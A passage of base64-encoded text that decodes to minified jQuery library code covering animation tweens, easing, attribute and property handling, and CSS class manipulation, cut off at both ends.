24oZSl7dmFyIHQsbj1ldC5wcm9wSG9va3NbdGhpcy5wcm9wXTtyZXR1cm4gdGhpcy5vcHRpb25zLmR1cmF0aW9uP3RoaXMucG9zPXQ9RS5lYXNpbmdbdGhpcy5lYXNpbmddKGUsdGhpcy5vcHRpb25zLmR1cmF0aW9uKmUsMCwxLHRoaXMub3B0aW9ucy5kdXJhdGlvbik6dGhpcy5wb3M9dD1lLHRoaXMubm93PSh0aGlzLmVuZC10aGlzLnN0YXJ0KSp0K3RoaXMuc3RhcnQsdGhpcy5vcHRpb25zLnN0ZXAmJnRoaXMub3B0aW9ucy5zdGVwLmNhbGwodGhpcy5lbGVtLHRoaXMubm93LHRoaXMpLG4mJm4uc2V0P24uc2V0KHRoaXMpOmV0LnByb3BIb29rcy5fZGVmYXVsdC5zZXQodGhpcyksdGhpc319KS5pbml0LnByb3RvdHlwZT1ldC5wcm90b3R5cGUsKGV0LnByb3BIb29rcz17X2RlZmF1bHQ6e2dldDpmdW5jdGlvbihlKXt2YXIgdDtyZXR1cm4gMSE9PWUuZWxlbS5ub2RlVHlwZXx8bnVsbCE9ZS5lbGVtW2UucHJvcF0mJm51bGw9PWUuZWxlbS5zdHlsZVtlLnByb3BdP2UuZWxlbVtlLnByb3BdOih0PUUuY3NzKGUuZWxlbSxlLnByb3AsIiIpKSYmImF1dG8iIT09dD90OjB9LHNldDpmdW5jdGlvbihlKXtFLmZ4LnN0ZXBbZS5wcm9wXT9FLmZ4LnN0ZXBbZS5wcm9wXShlKToxIT09ZS5lbGVtLm5vZGVUeXBlfHwhRS5jc3NIb29rc1tlLnByb3BdJiZudWxsPT1lLmVsZW0uc3R5bGVbVmUoZS5wcm9wKV0/ZS5lbGVtW2UucHJvcF09ZS5ub3c6RS5zdHlsZShlLmVsZW0sZS5wcm9wLGUubm93K2UudW5pdCl9fX0pLnNjcm9sbFRvcD1ldC5wcm9wSG9va3Muc2Nyb2xsTGVmdD17c2V0OmZ1bmN0aW9uKGUpe2UuZWxlbS5ub2RlVHlwZSYmZS5lbGVtLnBhcmVudE5vZGUmJihlLmVsZW1bZS5wcm9wXT1lLm5vdyl9fSxFLmVhc2luZz17bGluZWFyOmZ1bmN0aW9uKGUpe3JldHVybiBlfSxzd2luZzpmdW5jdGlvbihlKXtyZXR1cm4uNS1NYXRoLmNvcyhlKk1hdGguUEkpLzJ9LF9kZWZhdWx0OiJzd2luZyJ9LEUuZng9ZXQucHJvdG90eXBlLmluaXQsRS5meC5zdGVwPXt9O3ZhciB0dCxudCxydCxpdCxvdD0vXig/OnRvZ2dsZXxzaG93fGhpZGUpJC8sYXQ9L3F1ZXVlSG9va3MkLztmdW5jdGlvbiBzdCgpe250JiYoITE9PT1TLmhpZGRlbiYmQy5yZXF1ZXN0QW5pbWF0aW9uRnJhbWU/Qy5yZXF1ZXN0QW5pbWF0aW9uRnJhbWUoc3QpOkMuc2V0VGltZW91dChzdCxFLmZ4LmludGVydmFsKSxFLmZ4LnRpY2soKSl9ZnVuY3Rpb24gdXQoKXtyZXR1cm4gQy5zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dHQ9dm9pZCAwfSksdHQ9RGF0ZS5ub3coKX1mdW5jdGlvbiBsdChlLHQpe3ZhciBuLHI9MCxpPXtoZWlnaHQ6ZX07Zm9yKHQ9dD8xOjA7cjw0O3IrPTItdClpWyJtYXJnaW4iKyhuPW5lW3JdKV09aVsicGFkZGluZyIrbl09ZTtyZXR1cm4gdCYmKGkub3BhY2l0eT1pLndpZHRoPWUpLGl9ZnVuY3Rpb24gY3QoZSx0LG4pe2Zvcih2YXIgcixpPShmdC50d2VlbmVyc1t0XXx8W10pLmNvbmNhdChmdC50d2VlbmVyc1siKiJdKSxvPTAsYT1pLmxlbmd0aDtvPGE7bysrKWlmKHI9aVtvXS5jYWxsKG4sdCxlKSlyZXR1cm4gcn1mdW5jdGlvbiBmdChvLGUsdCl7dmFyIG4sYSxyPTAsaT1mdC5wcmVmaWx0ZXJzLmxlbmd0aCxzPUUuRGVmZXJyZWQoKS5hbHdheXMoZnVuY3Rpb24oKXtkZWxldGUgdS5lbGVtfSksdT1mdW5jdGlvbigpe2lmKGEpcmV0dXJuITE7Zm9yKHZhciBlPXR0fHx1dCgpLHQ9TWF0aC5tYXgoMCxsLnN0YXJ0VGltZStsLmR1cmF0aW9uLWUpLG49MS0odC9sLmR1cmF0aW9ufHwwKSxyPTAsaT1sLnR3ZWVucy5sZW5ndGg7cjxpO3IrKylsLnR3ZWVuc1tyXS5ydW4obik7cmV0dXJuIHMubm90aWZ5V2l0aChvLFtsLG4sdF0pLG48MSYmaT90OihpfHxzLm5vdGlmeVdpdGgobyxbbCwxLDBdKSxzLnJlc29sdmVXaXRoKG8sW2xdKSwhMSl9LGw9cy5wcm9taXNlKHtlbGVtOm8scHJvcHM6RS5leHRlbmQoe30sZSksb3B0czpFLmV4dGVuZCghMCx7c3BlY2lhbEVhc2luZzp7fSxlYXNpbmc6RS5lYXNpbmcuX2RlZmF1bHR9LHQpLG9yaWdpbmFsUHJvcGVydGllczplLG9yaWdpbmFsT3B0aW9uczp0LHN0YXJ0VGltZTp0dHx8dXQoKSxkdXJhdGlvbjp0LmR1cmF0aW9uLHR3ZWVuczpbXSxjcmVhdGVUd2VlbjpmdW5jdGlvbihlLHQpe3ZhciBuPUUuVHdlZW4obyxsLm9wdHMsZSx0LGwub3B0cy5zcGVjaWFsRWFzaW5nW2VdfHxsLm9wdHMuZWFzaW5nKTtyZXR1cm4gbC50d2VlbnMucHVzaChuKSxufSxzdG9wOmZ1bmN0aW9uKGUpe3ZhciB0PTAsbj1lP2wudHdlZW5zLmxlbmd0aDowO2lmKGEpcmV0dXJuIHRoaXM7Zm9yKGE9ITA7dDxuO3QrKylsLnR3ZWVuc1t0XS5ydW4oMSk7cmV0dXJuIGU/KHMubm90aWZ5V2l0aChvLFtsLDEsMF0pLHMucmVzb2x2ZVdpdGgobyxbbCxlXSkpOnMucmVqZWN0V2l0aChvLFtsLGVdKSx0aGlzfX0pLGM9bC5wcm9wcztmb3IoIWZ1bmN0aW9uKGUsdCl7dmFyIG4scixpLG8sYTtmb3IobiBpbiBlKWlmKGk9dFtyPVgobildLG89ZVtuXSxBcnJheS5pc0FycmF5KG8pJiYoaT1vWzFdLG89ZVtuXT1vWzBdKSxuIT09ciYmKGVbcl09byxkZWxldGUgZVtuXSksKGE9RS5jc3NIb29rc1tyXSkmJiJleHBhbmQiaW4gYSlmb3IobiBpbiBvPWEuZXhwYW5kKG8pLGRlbGV0ZSBlW3JdLG8pbiBpbiBlfHwoZVtuXT1vW25dLHRbbl09aSk7ZWxzZSB0W3JdPWl9KGMsbC5vcHRzLnNwZWNpYWxFYXNpbmcpO3I8aTtyKyspaWYobj1mdC5wcmVmaWx0ZXJzW3JdLmNhbGwobCxvLGMsbC5vcHRzKSlyZXR1cm4gbShuLnN0b3ApJiYoRS5fcXVldWVIb29rcyhsLmVsZW0sbC5vcHRzLnF1ZXVlKS5zdG9wPW4uc3RvcC5iaW5kKG4pKSxuO3JldHVybiBFLm1hcChjLGN0LGwpLG0obC5vcHRzLnN0YXJ0KSYmbC5vcHRzLnN0YXJ0LmNhbGwobyxsKSxsLnByb2dyZXNzKGwub3B0cy5wcm9ncmVzcykuZG9uZShsLm9wdHMuZG9uZSxsLm9wdHMuY29tcGxldGUpLmZhaWwobC5vcHRzLmZhaWwpLmFsd2F5cyhsLm9wdHMuYWx3YXlzKSxFLmZ4LnRpbWVyKEUuZXh0ZW5kKHUse2VsZW06byxhbmltOmwscXVldWU6bC5vcHRzLnF1ZXVlfSkpLGx9RS5BbmltYXRpb249RS5leHRlbmQoZnQse3R3ZWVuZXJzOnsiKiI6W2Z1bmN0aW9uKGUsdCl7dmFyIG49dGhpcy5jcmVhdGVUd2VlbihlLHQpO3JldHVybiBzZShuLmVsZW0sZSx0ZS5leGVjKHQpLG4pLG59XX0sdHdlZW5lcjpmdW5jdGlvbihlLHQpe20oZSk/KHQ9ZSxlPVsiKiJdKTplPWUubWF0Y2goUCk7Zm9yKHZhciBuLHI9MCxpPWUubGVuZ3RoO3I8aTtyKyspbj1lW3JdLGZ0LnR3ZWVuZXJzW25dPWZ0LnR3ZWVuZXJzW25dfHxbXSxmdC50d2VlbmVyc1tuXS51bnNoaWZ0KHQpfSxwcmVmaWx0ZXJzOltmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvLGEscyx1LGwsYyxmPSJ3aWR0aCJpbiB0fHwiaGVpZ2h0ImluIHQscD10aGlzLGQ9e30saD1lLnN0eWxlLGc9ZS5ub2RlVHlwZSYmYWUoZSkseT1ZLmdldChlLCJmeHNob3ciKTtmb3IociBpbiBuLnF1ZXVlfHwobnVsbD09KGE9RS5fcXVldWVIb29rcyhlLCJmeCIpKS51bnF1ZXVlZCYmKGEudW5xdWV1ZWQ9MCxzPWEuZW1wdHkuZmlyZSxhLmVtcHR5LmZpcmU9ZnVuY3Rpb24oKXthLnVucXVldWVkfHxzKCl9KSxhLnVucXVldWVkKysscC5hbHdheXMoZnVuY3Rpb24oKXtwLmFsd2F5cyhmdW5jdGlvbigpe2EudW5xdWV1ZWQtLSxFLnF1ZXVlKGUsImZ4IikubGVuZ3RofHxhLmVtcHR5LmZpcmUoKX0pfSkpLHQpaWYoaT10W3JdLG90LnRlc3QoaSkpe2lmKGRlbGV0ZSB0W3JdLG89b3x8InRvZ2dsZSI9PT1pLGk9PT0oZz8iaGlkZSI6InNob3ciKSl7aWYoInNob3ciIT09aXx8IXl8fHZvaWQgMD09PXlbcl0pY29udGludWU7Zz0hMH1kW3JdPXkmJnlbcl18fEUuc3R5bGUoZSxyKX1pZigodT0hRS5pc0VtcHR5T2JqZWN0KHQpKXx8IUUuaXNFbXB0eU9iamVjdChkKSlmb3IociBpbiBmJiYxPT09ZS5ub2RlVHlwZSYmKG4ub3ZlcmZsb3c9W2gub3ZlcmZsb3csaC5vdmVyZmxvd1gsaC5vdmVyZmxvd1ldLG51bGw9PShsPXkmJnkuZGlzcGxheSkmJihsPVkuZ2V0KGUsImRpc3BsYXkiKSksIm5vbmUiPT09KGM9RS5jc3MoZSwiZGlzcGxheSIpKSYmKGw/Yz1sOihsZShbZV0sITApLGw9ZS5zdHlsZS5kaXNwbGF5fHxsLGM9RS5jc3MoZSwiZGlzcGxheSIpLGxlKFtlXSkpKSwoImlubGluZSI9PT1jfHwiaW5saW5lLWJsb2NrIj09PWMmJm51bGwhPWwpJiYibm9uZSI9PT1FLmNzcyhlLCJmbG9hdCIpJiYodXx8KHAuZG9uZShmdW5jdGlvbigpe2guZGlzcGxheT1sfSksbnVsbD09bCYmKGM9aC5kaXNwbGF5LGw9Im5vbmUiPT09Yz8iIjpjKSksaC5kaXNwbGF5PSJpbmxpbmUtYmxvY2siKSksbi5vdmVyZmxvdyYmKGgub3ZlcmZsb3c9ImhpZGRlbiIscC5hbHdheXMoZnVuY3Rpb24oKXtoLm92ZXJmbG93PW4ub3ZlcmZsb3dbMF0saC5vdmVyZmxvd1g9bi5vdmVyZmxvd1sxXSxoLm92ZXJmbG93WT1uLm92ZXJmbG93WzJdfSkpLHU9ITEsZCl1fHwoeT8iaGlkZGVuImluIHkmJihnPXkuaGlkZGVuKTp5PVkuYWNjZXNzKGUsImZ4c2hvdyIse2Rpc3BsYXk6bH0pLG8mJih5LmhpZGRlbj0hZyksZyYmbGUoW2VdLCEwKSxwLmRvbmUoZnVuY3Rpb24oKXtmb3IociBpbiBnfHxsZShbZV0pLFkucmVtb3ZlKGUsImZ4c2hvdyIpLGQpRS5zdHlsZShlLHIsZFtyXSl9KSksdT1jdChnP3lbcl06MCxyLHApLHIgaW4geXx8KHlbcl09dS5zdGFydCxnJiYodS5lbmQ9dS5zdGFydCx1LnN0YXJ0PTApKX1dLHByZWZpbHRlcjpmdW5jdGlvbihlLHQpe3Q/ZnQucHJlZmlsdGVycy51bnNoaWZ0KGUpOmZ0LnByZWZpbHRlcnMucHVzaChlKX19KSxFLnNwZWVkPWZ1bmN0aW9uKGUsdCxuKXt2YXIgcj1lJiYib2JqZWN0Ij09dHlwZW9mIGU/RS5leHRlbmQoe30sZSk6e2NvbXBsZXRlOm58fCFuJiZ0fHxtKGUpJiZlLGR1cmF0aW9uOmUsZWFzaW5nOm4mJnR8fHQmJiFtKHQpJiZ0fTtyZXR1cm4gRS5meC5vZmY/ci5kdXJhdGlvbj0wOiJudW1iZXIiIT10eXBlb2Ygci5kdXJhdGlvbiYmKHIuZHVyYXRpb24gaW4gRS5meC5zcGVlZHM/ci5kdXJhdGlvbj1FLmZ4LnNwZWVkc1tyLmR1cmF0aW9uXTpyLmR1cmF0aW9uPUUuZnguc3BlZWRzLl9kZWZhdWx0KSxudWxsIT1yLnF1ZXVlJiYhMCE9PXIucXVldWV8fChyLnF1ZXVlPSJmeCIpLHIub2xkPXIuY29tcGxldGUsci5jb21wbGV0ZT1mdW5jdGlvbigpe20oci5vbGQpJiZyLm9sZC5jYWxsKHRoaXMpLHIucXVldWUmJkUuZGVxdWV1ZSh0aGlzLHIucXVldWUpfSxyfSxFLmZuLmV4dGVuZCh7ZmFkZVRvOmZ1bmN0aW9uKGUsdCxuLHIpe3JldHVybiB0aGlzLmZpbHRlcihhZSkuY3NzKCJvcGFjaXR5IiwwKS5zaG93KCkuZW5kKCkuYW5pbWF0ZSh7b3BhY2l0eTp0fSxlLG4scil9LGFuaW1hdGU6ZnVuY3Rpb24odCxlLG4scil7dmFyIGk9RS5pc0VtcHR5T2JqZWN0KHQpLG89RS5zcGVlZChlLG4sciksYT1mdW5jdGlvbigpe3ZhciBlPWZ0KHRoaXMsRS5leHRlbmQoe30sdCksbyk7KGl8fFkuZ2V0KHRoaXMsImZpbmlzaCIpKSYmZS5zdG9wKCEwKX07cmV0dXJuIGEuZmluaXNoPWEsaXx8ITE9PT1vLnF1ZXVlP3RoaXMuZWFjaChhKTp0aGlzLnF1ZXVlKG8ucXVldWUsYSl9LHN0b3A6ZnVuY3Rpb24oaSxlLG8pe3ZhciBhPWZ1bmN0aW9uKGUpe3ZhciB0PWUuc3RvcDtkZWxldGUgZS5zdG9wLHQobyl9O3JldHVybiJzdHJpbmciIT10eXBlb2YgaSYmKG89ZSxlPWksaT12b2lkIDApLGUmJnRoaXMucXVldWUoaXx8ImZ4IixbXSksdGhpcy5lYWNoKGZ1bmN0aW9uKCl7dmFyIGU9ITAsdD1udWxsIT1pJiZpKyJxdWV1ZUhvb2tzIixuPUUudGltZXJzLHI9WS5nZXQodGhpcyk7aWYodClyW3RdJiZyW3RdLnN0b3AmJmEoclt0XSk7ZWxzZSBmb3IodCBpbiByKXJbdF0mJnJbdF0uc3RvcCYmYXQudGVzdCh0KSYmYShyW3RdKTtmb3IodD1uLmxlbmd0aDt0LS07KW5bdF0uZWxlbSE9PXRoaXN8fG51bGwhPWkmJm5bdF0ucXVldWUhPT1pfHwoblt0XS5hbmltLnN0b3AobyksZT0hMSxuLnNwbGljZSh0LDEpKTshZSYmb3x8RS5kZXF1ZXVlKHRoaXMsaSl9KX0sZmluaXNoOmZ1bmN0aW9uKGEpe3JldHVybiExIT09YSYmKGE9YXx8ImZ4IiksdGhpcy5lYWNoKGZ1bmN0aW9uKCl7dmFyIGUsdD1ZLmdldCh0aGlzKSxuPXRbYSsicXVldWUiXSxyPXRbYSsicXVldWVIb29rcyJdLGk9RS50aW1lcnMsbz1uP24ubGVuZ3RoOjA7Zm9yKHQuZmluaXNoPSEwLEUucXVldWUodGhpcyxhLFtdKSxyJiZyLnN0b3AmJnIuc3RvcC5jYWxsKHRoaXMsITApLGU9aS5sZW5ndGg7ZS0tOylpW2VdLmVsZW09PT10aGlzJiZpW2VdLnF1ZXVlPT09YSYmKGlbZV0uYW5pbS5zdG9wKCEwKSxpLnNwbGljZShlLDEpKTtmb3IoZT0wO2U8bztlKyspbltlXSYmbltlXS5maW5pc2gmJm5bZV0uZmluaXNoLmNhbGwodGhpcyk7ZGVsZXRlIHQuZmluaXNofSl9fSksRS5lYWNoKFsidG9nZ2xlIiwic2hvdyIsImhpZGUiXSxmdW5jdGlvbihlLHIpe3ZhciBpPUUuZm5bcl07RS5mbltyXT1mdW5jdGlvbihlLHQsbil7cmV0dXJuIG51bGw9PWV8fCJib29sZWFuIj09dHlwZW9mIGU/aS5hcHBseSh0aGlzLGFyZ3VtZW50cyk6dGhpcy5hbmltYXRlKGx0KHIsITApLGUsdCxuKX19KSxFLmVhY2goe3NsaWRlRG93bjpsdCgic2hvdyIpLHNsaWRlVXA6bHQoImhpZGUiKSxzbGlkZVRvZ2dsZTpsdCgidG9nZ2xlIiksZmFkZUluOntvcGFjaXR5OiJzaG93In0sZmFkZU91dDp7b3BhY2l0eToiaGlkZSJ9LGZhZGVUb2dnbGU6e29wYWNpdHk6InRvZ2dsZSJ9fSxmdW5jdGlvbihlLHIpe0UuZm5bZV09ZnVuY3Rpb24oZSx0LG4pe3JldHVybiB0aGlzLmFuaW1hdGUocixlLHQsbil9fSksRS50aW1lcnM9W10sRS5meC50aWNrPWZ1bmN0aW9uKCl7dmFyIGUsdD0wLG49RS50aW1lcnM7Zm9yKHR0PURhdGUubm93KCk7dDxuLmxlbmd0aDt0KyspKGU9blt0XSkoKXx8blt0XSE9PWV8fG4uc3BsaWNlKHQtLSwxKTtuLmxlbmd0aHx8RS5meC5zdG9wKCksdHQ9dm9pZCAwfSxFLmZ4LnRpbWVyPWZ1bmN0aW9uKGUpe0UudGltZXJzLnB1c2goZSksRS5meC5zdGFydCgpfSxFLmZ4LmludGVydmFsPTEzLEUuZnguc3RhcnQ9ZnVuY3Rpb24oKXtudHx8KG50PSEwLHN0KCkpfSxFLmZ4LnN0b3A9ZnVuY3Rpb24oKXtudD1udWxsfSxFLmZ4LnNwZWVkcz17c2xvdzo2MDAsZmFzdDoyMDAsX2RlZmF1bHQ6NDAwfSxFLmZuLmRlbGF5PWZ1bmN0aW9uKHIsZSl7cmV0dXJuIHI9RS5meCYmRS5meC5zcGVlZHNbcl18fHIsZT1lfHwiZngiLHRoaXMucXVldWUoZSxmdW5jdGlvbihlLHQpe3ZhciBuPUMuc2V0VGltZW91dChlLHIpO3Quc3RvcD1mdW5jdGlvbigpe0MuY2xlYXJUaW1lb3V0KG4pfX0pfSxydD1TLmNyZWF0ZUVsZW1lbnQoImlucHV0IiksaXQ9Uy5jcmVhdGVFbGVtZW50KCJzZWxlY3QiKS5hcHBlbmRDaGlsZChTLmNyZWF0ZUVsZW1lbnQoIm9wdGlvbiIpKSxydC50eXBlPSJjaGVja2JveCIsdi5jaGVja09uPSIiIT09cnQudmFsdWUsdi5vcHRTZWxlY3RlZD1pdC5zZWxlY3RlZCwocnQ9Uy5jcmVhdGVFbGVtZW50KCJpbnB1dCIpKS52YWx1ZT0idCIscnQudHlwZT0icmFkaW8iLHYucmFkaW9WYWx1ZT0idCI9PT1ydC52YWx1ZTt2YXIgcHQsZHQ9RS5leHByLmF0dHJIYW5kbGU7RS5mbi5leHRlbmQoe2F0dHI6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gQih0aGlzLEUuYXR0cixlLHQsMTxhcmd1bWVudHMubGVuZ3RoKX0scmVtb3ZlQXR0cjpmdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7RS5yZW1vdmVBdHRyKHRoaXMsZSl9KX19KSxFLmV4dGVuZCh7YXR0cjpmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvPWUubm9kZVR5cGU7aWYoMyE9PW8mJjghPT1vJiYyIT09bylyZXR1cm4idW5kZWZpbmVkIj09dHlwZW9mIGUuZ2V0QXR0cmlidXRlP0UucHJvcChlLHQsbik6KDE9PT1vJiZFLmlzWE1MRG9jKGUpfHwoaT1FLmF0dHJIb29rc1t0LnRvTG93ZXJDYXNlKCldfHwoRS5leHByLm1hdGNoLmJvb2wudGVzdCh0KT9wdDp2b2lkIDApKSx2b2lkIDAhPT1uP251bGw9PT1uP3ZvaWQgRS5yZW1vdmVBdHRyKGUsdCk6aSYmInNldCJpbiBpJiZ2b2lkIDAhPT0ocj1pLnNldChlLG4sdCkpP3I6KGUuc2V0QXR0cmlidXRlKHQsbisiIiksbik6aSYmImdldCJpbiBpJiZudWxsIT09KHI9aS5nZXQoZSx0KSk/cjpudWxsPT0ocj1FLmZpbmQuYXR0cihlLHQpKT92b2lkIDA6cil9LGF0dHJIb29rczp7dHlwZTp7c2V0OmZ1bmN0aW9uKGUsdCl7aWYoIXYucmFkaW9WYWx1ZSYmInJhZGlvIj09PXQmJkEoZSwiaW5wdXQiKSl7dmFyIG49ZS52YWx1ZTtyZXR1cm4gZS5zZXRBdHRyaWJ1dGUoInR5cGUiLHQpLG4mJihlLnZhbHVlPW4pLHR9fX19LHJlbW92ZUF0dHI6ZnVuY3Rpb24oZSx0KXt2YXIgbixyPTAsaT10JiZ0Lm1hdGNoKFApO2lmKGkmJjE9PT1lLm5vZGVUeXBlKXdoaWxlKG49aVtyKytdKWUucmVtb3ZlQXR0cmlidXRlKG4pfX0pLHB0PXtzZXQ6ZnVuY3Rpb24oZSx0LG4pe3JldHVybiExPT09dD9FLnJlbW92ZUF0dHIoZSxuKTplLnNldEF0dHJpYnV0ZShuLG4pLG59fSxFLmVhY2goRS5leHByLm1hdGNoLmJvb2wuc291cmNlLm1hdGNoKC9cdysvZyksZnVuY3Rpb24oZSx0KXt2YXIgYT1kdFt0XXx8RS5maW5kLmF0dHI7ZHRbdF09ZnVuY3Rpb24oZSx0LG4pe3ZhciByLGksbz10LnRvTG93ZXJDYXNlKCk7cmV0dXJuIG58fChpPWR0W29dLGR0W29dPXIscj1udWxsIT1hKGUsdCxuKT9vOm51bGwsZHRbb109aSkscn19KTt2YXIgaHQ9L14oPzppbnB1dHxzZWxlY3R8dGV4dGFyZWF8YnV0dG9uKSQvaSxndD0vXig/OmF8YXJlYSkkL2k7ZnVuY3Rpb24geXQoZSl7cmV0dXJuKGUubWF0Y2goUCl8fFtdKS5qb2luKCIgIil9ZnVuY3Rpb24gdnQoZSl7cmV0dXJuIGUuZ2V0QXR0cmlidXRlJiZlLmdldEF0dHJpYnV0ZSgiY2xhc3MiKXx8IiJ9ZnVuY3Rpb24gbXQoZSl7cmV0dXJuIEFycmF5LmlzQXJyYXkoZSk/ZToic3RyaW5nIj09dHlwZW9mIGUmJmUubWF0Y2goUCl8fFtdfUUuZm4uZXh0ZW5kKHtwcm9wOmZ1bmN0aW9uKGUsdCl7cmV0dXJuIEIodGhpcyxFLnByb3AsZSx0LDE8YXJndW1lbnRzLmxlbmd0aCl9LHJlbW92ZVByb3A6ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe2RlbGV0ZSB0aGlzW0UucHJvcEZpeFtlXXx8ZV19KX19KSxFLmV4dGVuZCh7cHJvcDpmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvPWUubm9kZVR5cGU7aWYoMyE9PW8mJjghPT1vJiYyIT09bylyZXR1cm4gMT09PW8mJkUuaXNYTUxEb2MoZSl8fCh0PUUucHJvcEZpeFt0XXx8dCxpPUUucHJvcEhvb2tzW3RdKSx2b2lkIDAhPT1uP2kmJiJzZXQiaW4gaSYmdm9pZCAwIT09KHI9aS5zZXQoZSxuLHQpKT9yOmVbdF09bjppJiYiZ2V0ImluIGkmJm51bGwhPT0ocj1pLmdldChlLHQpKT9yOmVbdF19LHByb3BIb29rczp7dGFiSW5kZXg6e2dldDpmdW5jdGlvbihlKXt2YXIgdD1FLmZpbmQuYXR0cihlLCJ0YWJpbmRleCIpO3JldHVybiB0P3BhcnNlSW50KHQsMTApOmh0LnRlc3QoZS5ub2RlTmFtZSl8fGd0LnRlc3QoZS5ub2RlTmFtZSkmJmUuaHJlZj8wOi0xfX19LHByb3BGaXg6eyJmb3IiOiJodG1sRm9yIiwiY2xhc3MiOiJjbGFzc05hbWUifX0pLHYub3B0U2VsZWN0ZWR8fChFLnByb3BIb29rcy5zZWxlY3RlZD17Z2V0OmZ1bmN0aW9uKGUpe3ZhciB0PWUucGFyZW50Tm9kZTtyZXR1cm4gdCYmdC5wYXJlbnROb2RlJiZ0LnBhcmVudE5vZGUuc2VsZWN0ZWRJbmRleCxudWxsfSxzZXQ6ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5wYXJlbnROb2RlO3QmJih0LnNlbGVjdGVkSW5kZXgsdC5wYXJlbnROb2RlJiZ0LnBhcmVudE5vZGUuc2VsZWN0ZWRJbmRleCl9fSksRS5lYWNoKFsidGFiSW5kZXgiLCJyZWFkT25seSIsIm1heExlbmd0aCIsImNlbGxTcGFjaW5nIiwiY2VsbFBhZGRpbmciLCJyb3dTcGFuIiwiY29sU3BhbiIsInVzZU1hcCIsImZyYW1lQm9yZGVyIiwiY29udGVudEVkaXRhYmxlIl0sZnVuY3Rpb24oKXtFLnByb3BGaXhbdGhpcy50b0xvd2VyQ2FzZSgpXT10aGlzfSksRS5mbi5leHRlbmQoe2FkZENsYXNzOmZ1bmN0aW9uKHQpe3ZhciBlLG4scixpLG8sYTtyZXR1cm4gbSh0KT90aGlzLmVhY2goZnVuY3Rpb24oZSl7RSh0aGlzKS5hZGRDbGFzcyh0LmNhbGwodGhpcyxlLHZ0KHRoaXMpKSl9KTooZT1tdCh0KSkubGVuZ3RoP3RoaXMuZWFjaChmdW5jdGlvbigpe2lmKHI9dnQodGhpcyksbj0xPT09dGhpcy5ub2RlVHlwZSYmIiAiK3l0KHIpKyIgIil7Zm9yKG89MDtvPGUubGVuZ3RoO28rKylpPWVbb10sbi5pbmRleE9mKCIgIitpKyIgIik8MCYmKG4rPWkrIiAiKTthPXl0KG4pLHIhPT1hJiZ0aGlzLnNldEF0dHJpYnV0ZSgiY2xhc3MiLGEpfX0pOnRoaXN9LHJlbW92ZUNsYXNzOmZ1bmN0aW9uKHQpe3ZhciBlLG4scixpLG8sYTtyZXR1cm4gbSh0KT90aGlzLmVhY2goZnVuY3Rpb24oZSl7RSh0aGlzKS5yZW1vdmVDbGFzcyh0LmNhbGwodGhpcyxlLHZ0KHRoaXMpKSl9KTphcmd1bWVudHMubGVuZ3RoPyhlPW10KHQpKS5sZW5ndGg/dGhpcy5lYWNoKGZ1bmN0aW9uKCl7aWYocj12dCh0aGlzKSxuPTE9PT10aGlzLm5vZGVUeXBlJiYiICIreXQocikrIiAiKXtmb3Iobz0wO288ZS5sZW5ndGg7bysrKXtpPWVbb107d2hpbGUoLTE8bi5pbmRleE9mKCIgIitpKyIgIikpbj1uLnJlcGxhY2UoIiAiK2krIiAiLCIgIil9YT15dChuKSxyIT09YSYmdGhpcy5zZXRBdHRyaWJ1dGUoImNsYXNzIixhKX19KTp0aGlzOnRoaXMuYXR0cigiY2xhc3MiLCIiKX0sdG9nZ2xlQ2xhc3M6ZnVuY3Rpb24odCxuKXt2YXIgZSxyLGksbyxhPXR5cGVvZiB0LHM9InN0cmluZyI9PT1hfHxBcnJheS5pc0FycmF5KHQpO3JldHVybiBtKHQpP3RoaXMuZWFjaChmdW5jdGlvbihlKXtFKHRoaXMpLnRvZ2dsZUNsYXNzKHQuY2FsbCh0aGlzLGUsdnQodGhpcyksbiksbil9KToiYm9vbGVhbiI9PXR5cGVvZiBuJiZzP24/dGhpcy5hZGRDbGFzcyh0KTp0aGlzLnJlbW92ZUNsYXNzKHQpOihlPW10KHQpLHRoaXMuZWFjaChmdW5jdGlvbigpe2lmKHMpZm9yKG89RSh0aGlzKSxpPTA7aTxlLmxlbmd0aDtpKyspcj1lW2ldLG8uaGFzQ2xhc3Mocik/by5yZW1vdmVDbGFzcyhyKTpvLmFkZENsYXNzKHIpO2Vsc2Ugdm9pZCAwIT09dCYmImJvb2xlYW4iIT09YXx8KChyPXZ0KHRoaXMpKSYmWS5zZXQodGhpcywiX19jbGFzc05hbWVfXyIsciksdGhpcy5zZXRBdHRyaWJ1dGUmJnRoaXMuc2V0QXR0cmlidXRlKCJjbGFzcyIscnx8ITE9PT10PyIiOlkuZ2V0KHRoaXMsIl9fY2xhc3NOYW1lX18iKXx8IiIpKX0pKX0saGFzQ2xhc3M6ZnVuY3Rpb24oZSl7dmFyIHQsbixyPTA7dD0iICIrZSsiICI7d2hpbGUobj10aGlzW3IrK10paWYoMT09PW4ubm9kZVR5cGUmJi0xPCgiICIreXQodnQobikpKyIgIikuaW5kZXhPZih0KSlyZXR1cm4hMDtyZXR1cm4hMX19KTt2YXIgeHQ9L1xyL2c7RS5mbi5leHRlbmQoe3ZhbDpmdW5jdGlvbihuKXt2YXIgcixlLGksdD10aGlzWzBdO3JldHVybiBhcmd1bWVudHMubGVuZ3RoPyhpPW0obiksdGhpcy5lYWNoKGZ1bmN0aW9uKGUpe3ZhciB0OzE9PT10aGlzLm5vZGVUeXBlJiYobnVsbD09KHQ9aT9uLmNhbGwodGhpcyxlLEUodGhpcykudmFsKCkpOm4pP3Q9IiI6Im51bWJlciI9PXR5cGVvZiB0P3QrPSIiOkFycmF5LmlzQXJyYXkodCkmJih0PUUubWFwKHQsZnVuY3Rpb24oZSl7cmV0dXJuIG51bGw9PWU/IiI6ZSsiIn0pKSwocj1FLnZhbEhvb2tzW3RoaXMudHlwZV18fEUudmFsSG9va3NbdGhpcy5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpXSkmJiJzZXQiaW4gciYmdm9pZCAwIT09ci5zZXQodGhpcyx0LCJ2YWx1ZSIpfHwodGhpcy52YWx1ZT10KSl9KSk6dD8ocj1FLnZhbEhvb2tzW3QudHlwZV18fEUudmFsSG9va3NbdC5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpXSkmJiJnZXQiaW4gciYmdm9p